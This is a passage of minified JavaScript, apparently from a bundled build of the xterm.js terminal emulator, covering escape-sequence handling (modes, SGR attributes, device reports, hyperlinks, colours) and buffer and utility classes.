t&&(t.replaceCells(this._activeBuffer.x,this._activeBuffer.x+(e.params[0]||1),this._activeBuffer.getNullCell(this._eraseAttrData()),this._eraseAttrData()),this._dirtyRowTracker.markDirty(this._activeBuffer.y)),!0}repeatPrecedingCharacter(e){if(!this._parser.precedingCodepoint)return!0;const t=e.params[0]||1,i=new Uint32Array(t);for(let e=0;e<t;++e)i[e]=this._parser.precedingCodepoint;return this.print(i,0,i.length),!0}sendDeviceAttributesPrimary(e){return e.params[0]>0||(this._is("xterm")||this._is("rxvt-unicode")||this._is("screen")?this._coreService.triggerDataEvent(n.C0.ESC+"[?1;2c"):this._is("linux")&&this._coreService.triggerDataEvent(n.C0.ESC+"[?6c")),!0}sendDeviceAttributesSecondary(e){return e.params[0]>0||(this._is("xterm")?this._coreService.triggerDataEvent(n.C0.ESC+"[>0;276;0c"):this._is("rxvt-unicode")?this._coreService.triggerDataEvent(n.C0.ESC+"[>85;95;0c"):this._is("linux")?this._coreService.triggerDataEvent(e.params[0]+"c"):this._is("screen")&&this._coreService.triggerDataEvent(n.C0.ESC+"[>83;40003;0c")),!0}_is(e){return 0===(this._optionsService.rawOptions.termName+"").indexOf(e)}setMode(e){for(let t=0;t<e.length;t++)switch(e.params[t]){case 4:this._coreService.modes.insertMode=!0;break;case 20:this._optionsService.options.convertEol=!0}return!0}setModePrivate(e){for(let t=0;t<e.length;t++)switch(e.params[t]){case 1:this._coreService.decPrivateModes.applicationCursorKeys=!0;break;case 2:this._charsetService.setgCharset(0,o.DEFAULT_CHARSET),this._charsetService.setgCharset(1,o.DEFAULT_CHARSET),this._charsetService.setgCharset(2,o.DEFAULT_CHARSET),this._charsetService.setgCharset(3,o.DEFAULT_CHARSET);break;case 3:this._optionsService.rawOptions.windowOptions.setWinLines&&(this._bufferService.resize(132,this._bufferService.rows),this._onRequestReset.fire());break;case 6:this._coreService.decPrivateModes.origin=!0,this._setCursor(0,0);break;case 7:this._coreService.decPrivateModes.wraparound=!0;break;case 12:this._optionsService.options.cursorBlink=!0;break;case 45:this._coreService.decPrivateModes.reverseWraparound=!0;break;case 66:this._logService.debug("Serial port requested application keypad."),this._coreService.decPrivateModes.applicationKeypad=!0,this._onRequestSyncScrollBar.fire();break;case 9:this._coreMouseService.activeProtocol="X10";break;case 1e3:this._coreMouseService.activeProtocol="VT200";break;case 1002:this._coreMouseService.activeProtocol="DRAG";break;case 1003:this._coreMouseService.activeProtocol="ANY";break;case 1004:this._coreService.decPrivateModes.sendFocus=!0,this._onRequestSendFocus.fire();break;case 1005:this._logService.debug("DECSET 1005 not supported (see #2507)");break;case 1006:this._coreMouseService.activeEncoding="SGR";break;case 1015:this._logService.debug("DECSET 1015 not supported (see #2507)");break;case 1016:this._coreMouseService.activeEncoding="SGR_PIXELS";break;case 25:this._coreService.isCursorHidden=!1;break;case 1048:this.saveCursor();break;case 1049:this.saveCursor();case 47:case 1047:this._bufferService.buffers.activateAltBuffer(this._eraseAttrData()),this._coreService.isCursorInitialized=!0,this._onRequestRefreshRows.fire(0,this._bufferService.rows-1),this._onRequestSyncScrollBar.fire();break;case 2004:this._coreService.decPrivateModes.bracketedPasteMode=!0}return!0}resetMode(e){for(let t=0;t<e.length;t++)switch(e.params[t]){case 4:this._coreService.modes.insertMode=!1;break;case 20:this._optionsService.options.convertEol=!1}return!0}resetModePrivate(e){for(let t=0;t<e.length;t++)switch(e.params[t]){case 1:this._coreService.decPrivateModes.applicationCursorKeys=!1;break;case 3:this._optionsService.rawOptions.windowOptions.setWinLines&&(this._bufferService.resize(80,this._bufferService.rows),this._onRequestReset.fire());break;case 6:this._coreService.decPrivateModes.origin=!1,this._setCursor(0,0);break;case 7:this._coreService.decPrivateModes.wraparound=!1;break;case 12:this._optionsService.options.cursorBlink=!1;break;case 45:this._coreService.decPrivateModes.reverseWraparound=!1;break;case 66:this._logService.debug("Switching back to normal keypad."),this._coreService.decPrivateModes.applicationKeypad=!1,this._onRequestSyncScrollBar.fire();break;case 9:case 1e3:case 1002:case 1003:this._coreMouseService.activeProtocol="NONE";break;case 1004:this._coreService.decPrivateModes.sendFocus=!1;break;case 1005:this._logService.debug("DECRST 1005 not supported (see #2507)");break;case 1006:case 1016:this._coreMouseService.activeEncoding="DEFAULT";break;case 1015:this._logService.debug("DECRST 1015 not supported (see #2507)");break;case 25:this._coreService.isCursorHidden=!0;break;case 1048:this.restoreCursor();break;case 1049:case 47:case 1047:this._bufferService.buffers.activateNormalBuffer(),1049===e.params[t]&&this.restoreCursor(),this._coreService.isCursorInitialized=!0,this._onRequestRefreshRows.fire(0,this._bufferService.rows-1),this._onRequestSyncScrollBar.fire();break;case 2004:this._coreService.decPrivateModes.bracketedPasteMode=!1}return!0}requestMode(e,t){const i=this._coreService.decPrivateModes,{activeProtocol:s,activeEncoding:r}=this._coreMouseService,o=this._coreService,{buffers:a,cols:h}=this._bufferService,{active:c,alt:l}=a,d=this._optionsService.rawOptions,u=e=>e?1:2,_=e.params[0];return f=_,v=t?2===_?4:4===_?u(o.modes.insertMode):12===_?3:20===_?u(d.convertEol):0:1===_?u(i.applicationCursorKeys):3===_?d.windowOptions.setWinLines?80===h?2:132===h?1:0:0:6===_?u(i.origin):7===_?u(i.wraparound):8===_?3:9===_?u("X10"===s):12===_?u(d.cursorBlink):25===_?u(!o.isCursorHidden):45===_?u(i.reverseWraparound):66===_?u(i.applicationKeypad):67===_?4:1e3===_?u("VT200"===s):1002===_?u("DRAG"===s):1003===_?u("ANY"===s):1004===_?u(i.sendFocus):1005===_?4:1006===_?u("SGR"===r):1015===_?4:1016===_?u("SGR_PIXELS"===r):1048===_?1:47===_||1047===_||1049===_?u(c===l):2004===_?u(i.bracketedPasteMode):0,o.triggerDataEvent(`${n.C0.ESC}[${t?"":"?"}${f};${v}$y`),!0;var f,v}_updateAttrColor(e,t,i,s,r){return 2===t?(e|=50331648,e&=-16777216,e|=f.AttributeData.fromColorRGB([i,s,r])):5===t&&(e&=-50331904,e|=33554432|255&i),e}_extractColor(e,t,i){const s=[0,0,-1,0,0,0];let r=0,n=0;do{if(s[n+r]=e.params[t+n],e.hasSubParams(t+n)){const i=e.getSubParams(t+n);let o=0;do{5===s[1]&&(r=1),s[n+o+1+r]=i[o]}while(++o<i.length&&o+n+1+r<s.length);break}if(5===s[1]&&n+r>=2||2===s[1]&&n+r>=5)break;s[1]&&(r=1)}while(++n+t<e.length&&n+r<s.length);for(let e=2;e<s.length;++e)-1===s[e]&&(s[e]=0);switch(s[0]){case 38:i.fg=this._updateAttrColor(i.fg,s[1],s[3],s[4],s[5]);break;case 48:i.bg=this._updateAttrColor(i.bg,s[1],s[3],s[4],s[5]);break;case 58:i.extended=i.extended.clone(),i.extended.underlineColor=this._updateAttrColor(i.extended.underlineColor,s[1],s[3],s[4],s[5])}return n}_processUnderline(e,t){t.extended=t.extended.clone(),(!~e||e>5)&&(e=1),t.extended.underlineStyle=e,t.fg|=268435456,0===e&&(t.fg&=-268435457),t.updateExtended()}_processSGR0(e){e.fg=l.DEFAULT_ATTR_DATA.fg,e.bg=l.DEFAULT_ATTR_DATA.bg,e.extended=e.extended.clone(),e.extended.underlineStyle=0,e.extended.underlineColor&=-67108864,e.updateExtended()}charAttributes(e){if(1===e.length&&0===e.params[0])return this._processSGR0(this._curAttrData),!0;const t=e.length;let i;const s=this._curAttrData;for(let r=0;r<t;r++)i=e.params[r],i>=30&&i<=37?(s.fg&=-50331904,s.fg|=16777216|i-30):i>=40&&i<=47?(s.bg&=-50331904,s.bg|=16777216|i-40):i>=90&&i<=97?(s.fg&=-50331904,s.fg|=16777224|i-90):i>=100&&i<=107?(s.bg&=-50331904,s.bg|=16777224|i-100):0===i?this._processSGR0(s):1===i?s.fg|=134217728:3===i?s.bg|=67108864:4===i?(s.fg|=268435456,this._processUnderline(e.hasSubParams(r)?e.getSubParams(r)[0]:1,s)):5===i?s.fg|=536870912:7===i?s.fg|=67108864:8===i?s.fg|=1073741824:9===i?s.fg|=2147483648:2===i?s.bg|=134217728:21===i?this._processUnderline(2,s):22===i?(s.fg&=-134217729,s.bg&=-134217729):23===i?s.bg&=-67108865:24===i?(s.fg&=-268435457,this._processUnderline(0,s)):25===i?s.fg&=-536870913:27===i?s.fg&=-67108865:28===i?s.fg&=-1073741825:29===i?s.fg&=2147483647:39===i?(s.fg&=-67108864,s.fg|=16777215&l.DEFAULT_ATTR_DATA.fg):49===i?(s.bg&=-67108864,s.bg|=16777215&l.DEFAULT_ATTR_DATA.bg):38===i||48===i||58===i?r+=this._extractColor(e,r,s):53===i?s.bg|=1073741824:55===i?s.bg&=-1073741825:59===i?(s.extended=s.extended.clone(),s.extended.underlineColor=-1,s.updateExtended()):100===i?(s.fg&=-67108864,s.fg|=16777215&l.DEFAULT_ATTR_DATA.fg,s.bg&=-67108864,s.bg|=16777215&l.DEFAULT_ATTR_DATA.bg):this._logService.debug("Unknown SGR attribute: %d.",i);return!0}deviceStatus(e){switch(e.params[0]){case 5:this._coreService.triggerDataEvent(`${n.C0.ESC}[0n`);break;case 6:const e=this._activeBuffer.y+1,t=this._activeBuffer.x+1;this._coreService.triggerDataEvent(`${n.C0.ESC}[${e};${t}R`)}return!0}deviceStatusPrivate(e){if(6===e.params[0]){const e=this._activeBuffer.y+1,t=this._activeBuffer.x+1;this._coreService.triggerDataEvent(`${n.C0.ESC}[?${e};${t}R`)}return!0}softReset(e){return this._coreService.isCursorHidden=!1,this._onRequestSyncScrollBar.fire(),this._activeBuffer.scrollTop=0,this._activeBuffer.scrollBottom=this._bufferService.rows-1,this._curAttrData=l.DEFAULT_ATTR_DATA.clone(),this._coreService.reset(),this._charsetService.reset(),this._activeBuffer.savedX=0,this._activeBuffer.savedY=this._activeBuffer.ybase,this._activeBuffer.savedCurAttrData.fg=this._curAttrData.fg,this._activeBuffer.savedCurAttrData.bg=this._curAttrData.bg,this._activeBuffer.savedCharset=this._charsetService.charset,this._coreService.decPrivateModes.origin=!1,!0}setCursorStyle(e){const t=e.params[0]||1;switch(t){case 1:case 2:this._optionsService.options.cursorStyle="block";break;case 3:case 4:this._optionsService.options.cursorStyle="underline";break;case 5:case 6:this._optionsService.options.cursorStyle="bar"}const i=t%2==1;return this._optionsService.options.cursorBlink=i,!0}setScrollRegion(e){const t=e.params[0]||1;let i;return(e.length<2||(i=e.params[1])>this._bufferService.rows||0===i)&&(i=this._bufferService.rows),i>t&&(this._activeBuffer.scrollTop=t-1,this._activeBuffer.scrollBottom=i-1,this._setCursor(0,0)),!0}windowOptions(e){if(!C(e.params[0],this._optionsService.rawOptions.windowOptions))return!0;const t=e.length>1?e.params[1]:0;switch(e.params[0]){case 14:2!==t&&this._onRequestWindowsOptionsReport.fire(y.GET_WIN_SIZE_PIXELS);break;case 16:this._onRequestWindowsOptionsReport.fire(y.GET_CELL_SIZE_PIXELS);break;case 18:this._bufferService&&this._coreService.triggerDataEvent(`${n.C0.ESC}[8;${this._bufferService.rows};${this._bufferService.cols}t`);break;case 22:0!==t&&2!==t||(this._windowTitleStack.push(this._windowTitle),this._windowTitleStack.length>10&&this._windowTitleStack.shift()),0!==t&&1!==t||(this._iconNameStack.push(this._iconName),this._iconNameStack.length>10&&this._iconNameStack.shift());break;case 23:0!==t&&2!==t||this._windowTitleStack.length&&this.setTitle(this._windowTitleStack.pop()),0!==t&&1!==t||this._iconNameStack.length&&this.setIconName(this._iconNameStack.pop())}return!0}saveCursor(e){return this._activeBuffer.savedX=this._activeBuffer.x,this._activeBuffer.savedY=this._activeBuffer.ybase+this._activeBuffer.y,this._activeBuffer.savedCurAttrData.fg=this._curAttrData.fg,this._activeBuffer.savedCurAttrData.bg=this._curAttrData.bg,this._activeBuffer.savedCharset=this._charsetService.charset,!0}restoreCursor(e){return this._activeBuffer.x=this._activeBuffer.savedX||0,this._activeBuffer.y=Math.max(this._activeBuffer.savedY-this._activeBuffer.ybase,0),this._curAttrData.fg=this._activeBuffer.savedCurAttrData.fg,this._curAttrData.bg=this._activeBuffer.savedCurAttrData.bg,this._charsetService.charset=this._savedCharset,this._activeBuffer.savedCharset&&(this._charsetService.charset=this._activeBuffer.savedCharset),this._restrictCursor(),!0}setTitle(e){return this._windowTitle=e,this._onTitleChange.fire(e),!0}setIconName(e){return this._iconName=e,!0}setOrReportIndexedColor(e){const t=[],i=e.split(";");for(;i.length>1;){const e=i.shift(),s=i.shift();if(/^\d+$/.exec(e)){const i=parseInt(e);if(x(i))if("?"===s)t.push({type:0,index:i});else{const e=(0,m.parseColor)(s);e&&t.push({type:1,index:i,color:e})}}}return t.length&&this._onColor.fire(t),!0}setHyperlink(e){const t=e.split(";");return!(t.length<2)&&(t[1]?this._createHyperlink(t[0],t[1]):!t[0]&&this._finishHyperlink())}_createHyperlink(e,t){this._getCurrentLinkId()&&this._finishHyperlink();const i=e.split(":");let s;const r=i.findIndex((e=>e.startsWith("id=")));return-1!==r&&(s=i[r].slice(3)||void 0),this._curAttrData.extended=this._curAttrData.extended.clone(),this._curAttrData.extended.urlId=this._oscLinkService.registerLink({id:s,uri:t}),this._curAttrData.updateExtended(),!0}_finishHyperlink(){return this._curAttrData.extended=this._curAttrData.extended.clone(),this._curAttrData.extended.urlId=0,this._curAttrData.updateExtended(),!0}_setOrReportSpecialColor(e,t){const i=e.split(";");for(let e=0;e<i.length&&!(t>=this._specialColors.length);++e,++t)if("?"===i[e])this._onColor.fire([{type:0,index:this._specialColors[t]}]);else{const s=(0,m.parseColor)(i[e]);s&&this._onColor.fire([{type:1,index:this._specialColors[t],color:s}])}return!0}setOrReportFgColor(e){return this._setOrReportSpecialColor(e,0)}setOrReportBgColor(e){return this._setOrReportSpecialColor(e,1)}setOrReportCursorColor(e){return this._setOrReportSpecialColor(e,2)}restoreIndexedColor(e){if(!e)return this._onColor.fire([{type:2}]),!0;const t=[],i=e.split(";");for(let e=0;e<i.length;++e)if(/^\d+$/.exec(i[e])){const s=parseInt(i[e]);x(s)&&t.push({type:2,index:s})}return t.length&&this._onColor.fire(t),!0}restoreFgColor(e){return this._onColor.fire([{type:2,index:256}]),!0}restoreBgColor(e){return this._onColor.fire([{type:2,index:257}]),!0}restoreCursorColor(e){return this._onColor.fire([{type:2,index:258}]),!0}nextLine(){return this._activeBuffer.x=0,this.index(),!0}keypadApplicationMode(){return this._logService.debug("Serial port requested application keypad."),this._coreService.decPrivateModes.applicationKeypad=!0,this._onRequestSyncScrollBar.fire(),!0}keypadNumericMode(){return this._logService.debug("Switching back to normal keypad."),this._coreService.decPrivateModes.applicationKeypad=!1,this._onRequestSyncScrollBar.fire(),!0}selectDefaultCharset(){return this._charsetService.setgLevel(0),this._charsetService.setgCharset(0,o.DEFAULT_CHARSET),!0}selectCharset(e){return 2!==e.length?(this.selectDefaultCharset(),!0):("/"===e[0]||this._charsetService.setgCharset(S[e[0]],o.CHARSETS[e[1]]||o.DEFAULT_CHARSET),!0)}index(){return this._restrictCursor(),this._activeBuffer.y++,this._activeBuffer.y===this._activeBuffer.scrollBottom+1?(this._activeBuffer.y--,this._bufferService.scroll(this._eraseAttrData())):this._activeBuffer.y>=this._bufferService.rows&&(this._activeBuffer.y=this._bufferService.rows-1),this._restrictCursor(),!0}tabSet(){return this._activeBuffer.tabs[this._activeBuffer.x]=!0,!0}reverseIndex(){if(this._restrictCursor(),this._activeBuffer.y===this._activeBuffer.scrollTop){const e=this._activeBuffer.scrollBottom-this._activeBuffer.scrollTop;this._activeBuffer.lines.shiftElements(this._activeBuffer.ybase+this._activeBuffer.y,e,1),this._activeBuffer.lines.set(this._activeBuffer.ybase+this._activeBuffer.y,this._activeBuffer.getBlankLine(this._eraseAttrData())),this._dirtyRowTracker.markRangeDirty(this._activeBuffer.scrollTop,this._activeBuffer.scrollBottom)}else this._activeBuffer.y--,this._restrictCursor();return!0}fullReset(){return this._parser.reset(),this._onRequestReset.fire(),!0}reset(){this._curAttrData=l.DEFAULT_ATTR_DATA.clone(),this._eraseAttrDataInternal=l.DEFAULT_ATTR_DATA.clone()}_eraseAttrData(){return this._eraseAttrDataInternal.bg&=-67108864,this._eraseAttrDataInternal.bg|=67108863&this._curAttrData.bg,this._eraseAttrDataInternal}setgLevel(e){return this._charsetService.setgLevel(e),!0}screenAlignmentPattern(){const e=new _.CellData;e.content=1<<22|"E".charCodeAt(0),e.fg=this._curAttrData.fg,e.bg=this._curAttrData.bg,this._setCursor(0,0);for(let t=0;t<this._bufferService.rows;++t){const i=this._activeBuffer.ybase+this._activeBuffer.y+t,s=this._activeBuffer.lines.get(i);s&&(s.fill(e),s.isWrapped=!1)}return this._dirtyRowTracker.markAllDirty(),this._setCursor(0,0),!0}requestStatusString(e,t){const i=this._bufferService.buffer,s=this._optionsService.rawOptions;return(e=>(this._coreService.triggerDataEvent(`${n.C0.ESC}${e}${n.C0.ESC}\\`),!0))('"q'===e?`P1$r${this._curAttrData.isProtected()?1:0}"q`:'"p'===e?'P1$r61;1"p':"r"===e?`P1$r${i.scrollTop+1};${i.scrollBottom+1}r`:"m"===e?"P1$r0m":" q"===e?`P1$r${{block:2,underline:4,bar:6}[s.cursorStyle]-(s.cursorBlink?1:0)} q`:"P0$r")}markRangeDirty(e,t){this._dirtyRowTracker.markRangeDirty(e,t)}}t.InputHandler=E;let k=class{constructor(e){this._bufferService=e,this.clearRange()}clearRange(){this.start=this._bufferService.buffer.y,this.end=this._bufferService.buffer.y}markDirty(e){e<this.start?this.start=e:e>this.end&&(this.end=e)}markRangeDirty(e,t){e>t&&(w=e,e=t,t=w),e<this.start&&(this.start=e),t>this.end&&(this.end=t)}markAllDirty(){this.markRangeDirty(0,this._bufferService.rows-1)}};function x(e){return 0<=e&&e<256}k=s([r(0,v.IBufferService)],k)},844:(e,t)=>{function i(e){for(const t of e)t.dispose();e.length=0}Object.defineProperty(t,"__esModule",{value:!0}),t.getDisposeArrayDisposable=t.disposeArray=t.toDisposable=t.MutableDisposable=t.Disposable=void 0,t.Disposable=class{constructor(){this._disposables=[],this._isDisposed=!1}dispose(){this._isDisposed=!0;for(const e of this._disposables)e.dispose();this._disposables.length=0}register(e){return this._disposables.push(e),e}unregister(e){const t=this._disposables.indexOf(e);-1!==t&&this._disposables.splice(t,1)}},t.MutableDisposable=class{constructor(){this._isDisposed=!1}get value(){return this._isDisposed?void 0:this._value}set value(e){var t;this._isDisposed||e===this._value||(null===(t=this._value)||void 0===t||t.dispose(),this._value=e)}clear(){this.value=void 0}dispose(){var e;this._isDisposed=!0,null===(e=this._value)||void 0===e||e.dispose(),this._value=void 0}},t.toDisposable=function(e){return{dispose:e}},t.disposeArray=i,t.getDisposeArrayDisposable=function(e){return{dispose:()=>i(e)}}},1505:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.FourKeyMap=t.TwoKeyMap=void 0;class i{constructor(){this._data={}}set(e,t,i){this._data[e]||(this._data[e]={}),this._data[e][t]=i}get(e,t){return this._data[e]?this._data[e][t]:void 0}clear(){this._data={}}}t.TwoKeyMap=i,t.FourKeyMap=class{constructor(){this._data=new i}set(e,t,s,r,n){this._data.get(e,t)||this._data.set(e,t,new i),this._data.get(e,t).set(s,r,n)}get(e,t,i,s){var r;return null===(r=this._data.get(e,t))||void 0===r?void 0:r.get(i,s)}clear(){this._data.clear()}}},6114:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.isChromeOS=t.isLinux=t.isWindows=t.isIphone=t.isIpad=t.isMac=t.getSafariVersion=t.isSafari=t.isLegacyEdge=t.isFirefox=t.isNode=void 0,t.isNode="undefined"==typeof navigator;const i=t.isNode?"node":navigator.userAgent,s=t.isNode?"node":navigator.platform;t.isFirefox=i.includes("Firefox"),t.isLegacyEdge=i.includes("Edge"),t.isSafari=/^((?!chrome|android).)*safari/i.test(i),t.getSafariVersion=function(){if(!t.isSafari)return 0;const e=i.match(/Version\/(\d+)/);return null===e||e.length<2?0:parseInt(e[1])},t.isMac=["Macintosh","MacIntel","MacPPC","Mac68K"].includes(s),t.isIpad="iPad"===s,t.isIphone="iPhone"===s,t.isWindows=["Windows","Win16","Win32","WinCE"].includes(s),t.isLinux=s.indexOf("Linux")>=0,t.isChromeOS=/\bCrOS\b/.test(i)},6106:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.SortedList=void 0;let i=0;t.SortedList=class{constructor(e){this._getKey=e,this._array=[]}clear(){this._array.length=0}insert(e){0!==this._array.length?(i=this._search(this._getKey(e)),this._array.splice(i,0,e)):this._array.push(e)}delete(e){if(0===this._array.length)return!1;const t=this._getKey(e);if(void 0===t)return!1;if(i=this._search(t),-1===i)return!1;if(this._getKey(this._array[i])!==t)return!1;do{if(this._array[i]===e)return this._array.splice(i,1),!0}while(++i<this._array.length&&this._getKey(this._array[i])===t);return!1}*getKeyIterator(e){if(0!==this._array.length&&(i=this._search(e),!(i<0||i>=this._array.length)&&this._getKey(this._array[i])===e))do{yield this._array[i]}while(++i<this._array.length&&this._getKey(this._array[i])===e)}forEachByKey(e,t){if(0!==this._array.length&&(i=this._search(e),!(i<0||i>=this._array.length)&&this._getKey(this._array[i])===e))do{t(this._array[i])}while(++i<this._array.length&&this._getKey(this._array[i])===e)}values(){return[...this._array].values()}_search(e){let t=0,i=this._array.length-1;for(;i>=t;){let s=t+i>>1;const r=this._getKey(this._array[s]);if(r>e)i=s-1;else{if(!(r<e)){for(;s>0&&this._getKey(this._array[s-1])===e;)s--;return s}t=s+1}}return t}}},7226:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.DebouncedIdleTask=t.IdleTaskQueue=t.PriorityTaskQueue=void 0;const s=i(6114);class r{constructor(){this._tasks=[],this._i=0}enqueue(e){this._tasks.push(e),this._start()}flush(){for(;this._i<this._tasks.length;)this._tasks[this._i]()||this._i++;this.clear()}clear(){this._idleCallback&&(this._cancelCallback(this._idleCallback),this._idleCallback=void 0),this._i=0,this._tasks.length=0}_start(){this._idleCallback||(this._idleCallback=this._requestCallback(this._process.bind(this)))}_process(e){this._idleCallback=void 0;let t=0,i=0,s=e.timeRemaining(),r=0;for(;this._i<this._tasks.length;){if(t=Date.now(),this._tasks[this._i]()||this._i++,t=Math.max(1,Date.now()-t),i=Math.max(t,i),r=e.timeRemaining(),1.5*i>r)return s-t<-20&&console.warn(`task queue exceeded allotted deadline by ${Math.abs(Math.round(s-t))}ms`),void this._start();s=r}this.clear()}}class n extends r{_requestCallback(e){return setTimeout((()=>e(this._createDeadline(16))))}_cancelCallback(e){clearTimeout(e)}_createDeadline(e){const t=Date.now()+e;return{timeRemaining:()=>Math.max(0,t-Date.now())}}}t.PriorityTaskQueue=n,t.IdleTaskQueue=!s.isNode&&"requestIdleCallback"in window?class extends r{_requestCallback(e){return requestIdleCallback(e)}_cancelCallback(e){cancelIdleCallback(e)}}:n,t.DebouncedIdleTask=class{constructor(){this._queue=new t.IdleTaskQueue}set(e){this._queue.clear(),this._queue.enqueue(e)}flush(){this._queue.flush()}}},9282:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.updateWindowsModeWrappedState=void 0;const s=i(643);t.updateWindowsModeWrappedState=function(e){const t=e.buffer.lines.get(e.buffer.ybase+e.buffer.y-1),i=null==t?void 0:t.get(e.cols-1),r=e.buffer.lines.get(e.buffer.ybase+e.buffer.y);r&&i&&(r.isWrapped=i[s.CHAR_DATA_CODE_INDEX]!==s.NULL_CELL_CODE&&i[s.CHAR_DATA_CODE_INDEX]!==s.WHITESPACE_CELL_CODE)}},3734:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.ExtendedAttrs=t.AttributeData=void 0;class i{constructor(){this.fg=0,this.bg=0,this.extended=new s}static toColorRGB(e){return[e>>>16&255,e>>>8&255,255&e]}static fromColorRGB(e){return(255&e[0])<<16|(255&e[1])<<8|255&e[2]}clone(){const e=new i;return e.fg=this.fg,e.bg=this.bg,e.extended=this.extended.clone(),e}isInverse(){return 67108864&this.fg}isBold(){return 134217728&this.fg}isUnderline(){return this.hasExtendedAttrs()&&0!==this.extended.underlineStyle?1:268435456&this.fg}isBlink(){return 536870912&this.fg}isInvisible(){return 1073741824&this.fg}isItalic(){return 67108864&this.bg}isDim(){return 134217728&this.bg}isStrikethrough(){return 2147483648&this.fg}isProtected(){return 536870912&this.bg}isOverline(){return 1073741824&this.bg}getFgColorMode(){return 50331648&this.fg}getBgColorMode(){return 50331648&this.bg}isFgRGB(){return!(50331648&~this.fg)}isBgRGB(){return!(50331648&~this.bg)}isFgPalette(){return 16777216==(50331648&this.fg)||33554432==(50331648&this.fg)}isBgPalette(){return 16777216==(50331648&this.bg)||33554432==(50331648&this.bg)}isFgDefault(){return!(50331648&this.fg)}isBgDefault(){return!(50331648&this.bg)}isAttributeDefault(){return 0===this.fg&&0===this.bg}getFgColor(){switch(50331648&this.fg){case 16777216:case 33554432:return 255&this.fg;case 50331648:return 16777215&this.fg;default:return-1}}getBgColor(){switch(50331648&this.bg){case 16777216:case 33554432:return 255&this.bg;case 50331648:return 16777215&this.bg;default:return-1}}hasExtendedAttrs(){return 268435456&this.bg}updateExtended(){this.extended.isEmpty()?this.bg&=-268435457:this.bg|=268435456}getUnderlineColor(){if(268435456&this.bg&&~this.extended.underlineColor)switch(50331648&this.extended.underlineColor){case 16777216:case 33554432:return 255&this.extended.underlineColor;case 50331648:return 16777215&this.extended.underlineColor;default:return this.getFgColor()}return this.getFgColor()}getUnderlineColorMode(){return 268435456&this.bg&&~this.extended.underlineColor?50331648&this.extended.underlineColor:this.getFgColorMode()}isUnderlineColorRGB(){return 268435456&this.bg&&~this.extended.underlineColor?!(50331648&~this.extended.underlineColor):this.isFgRGB()}isUnderlineColorPalette(){return 268435456&this.bg&&~this.extended.underlineColor?16777216==(50331648&this.extended.underlineColor)||33554432==(50331648&this.extended.underlineColor):this.isFgPalette()}isUnderlineColorDefault(){return 268435456&this.bg&&~this.extended.underlineColor?!(50331648&this.extended.underlineColor):this.isFgDefault()}getUnderlineStyle(){return 268435456&this.fg?268435456&this.bg?this.extended.underlineStyle:1:0}}t.AttributeData=i;class s{get ext(){return this._urlId?-469762049&this._ext|this.underlineStyle<<26:this._ext}set ext(e){this._ext=e}get underlineStyle(){return this._urlId?5:(469762048&this._ext)>>26}set underlineStyle(e){this._ext&=-469762049,this._ext|=e<<26&469762048}get underlineColor(){return 67108863&this._ext}set underlineColor(e){this._ext&=-67108864,this._ext|=67108863&e}get urlId(){return this._urlId}set urlId(e){this._urlId=e}constructor(e=0,t=0){this._ext=0,this._urlId=0,this._ext=e,this._urlId=t}clone(){return new s(this._ext,this._urlId)}isEmpty(){return 0===this.underlineStyle&&0===this._urlId}}t.ExtendedAttrs=s},9092:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.Buffer=t.MAX_BUFFER_SIZE=void 0;const s=i(6349),r=i(7226),n=i(3734),o=i(8437),a=i(4634),h=i(511),c=i(643),l=i(4863),d=i(7116);t.MAX_BUFFER_SIZE=4294967295,t.Buffer=class{constructor(e,t,i){this._hasScrollback=e,this._optionsService=t,this._bufferService=i,this.ydisp=0,this.ybase=0,this.y=0,this.x=0,this.tabs={},this.savedY=0,this.savedX=0,this.savedCurAttrData=o.DEFAULT_ATTR_DATA.clone(),this.savedCharset=d.DEFAULT_CHARSET,this.markers=[],this._nullCell=h.CellData.fromCharData([0,c.NULL_CELL_CHAR,c.NULL_CELL_WIDTH,c.NULL_CELL_CODE]),this._whitespaceCell=h.CellData.fromCharData([0,c.WHITESPACE_CELL_CHAR,c.WHITESPACE_CELL_WIDTH,c.WHITESPACE_CELL_CODE]),this._isClearing=!1,this._memoryCleanupQueue=new r.IdleTaskQueue,this._memoryCleanupPosition=0,this._cols=this._bufferService.cols,this._rows=this._bufferService.rows,this.lines=new s.CircularList(this._getCorrectBufferLength(this._rows)),this.scrollTop=0,this.scrollBottom=this._rows-1,this.setupTabStops()}getNullCell(e){return e?(this._nullCell.fg=e.fg,this._nullCell.bg=e.bg,this._nullCell.extended=e.extended):(this._nullCell.fg=0,this._nullCell.bg=0,this._nullCell.extended=new n.ExtendedAttrs),this._nullCell}getWhitespaceCell(e){return e?(this._whitespaceCell.fg=e.fg,this._whitespaceCell.bg=e.bg,this._whitespaceCell.extended=e.extended):(this._whitespaceCell.fg=0,this._whitespaceCell.bg=0,this._whitespaceCell.extended=new n.ExtendedAttrs),this._whitespaceCell}getBlankLine(e,t){return new o.BufferLine(this._bufferService.cols,this.getNullCell(e),t)}get hasScrollback(){return this._hasScrollback&&this.lines.maxLength>this._rows}get isCursorInViewport(){const e=this.ybase+this.y-this.ydisp;return e>=0&&e<this._rows}_getCorrectBufferLength(e){if(!this._hasScrollback)return e;const i=e+this._optionsService.rawOptions.scrollback;return i>t.MAX_BUFFER_SIZE?t.MAX_BUFFER_SIZE:i}fillViewportRows(e){if(0===this.lines.length){void 0===e&&(e=o.DEFAULT_ATTR_DATA);let t=this._rows;for(;t--;)this.lines.push(this.getBlankLine(e))}}clear(){this.ydisp=0,this.ybase=0,this.y=0,this.x=0,this.lines=new s.CircularList(this._getCorrectBufferLength(this._rows)),this.scrollTop=0,this.scrollBottom=this._rows-1,this.setupTabStops()}resize(e,t){const i=this.getNullCell(o.DEFAULT_ATTR_DATA);let s=0;const r=this._getCorrectBufferLength(t);if(r>this.lines.maxLength&&(this.lines.maxLength=r),this.lines.length>0){if(this._cols<e)for(let t=0;t<this.lines.length;t++)s+=+this.lines.get(t).resize(e,i);let n=0;if(this._rows<t)for(let s=this._rows;s<t;s++)this.lines.length<t+this.ybase&&(this._optionsService.rawOptions.windowsMode||void 0!==this._optionsService.rawOptions.windowsPty.backend||void 0!==this._optionsService.rawOptions.windowsPty.buildNumber?this.lines.push(new 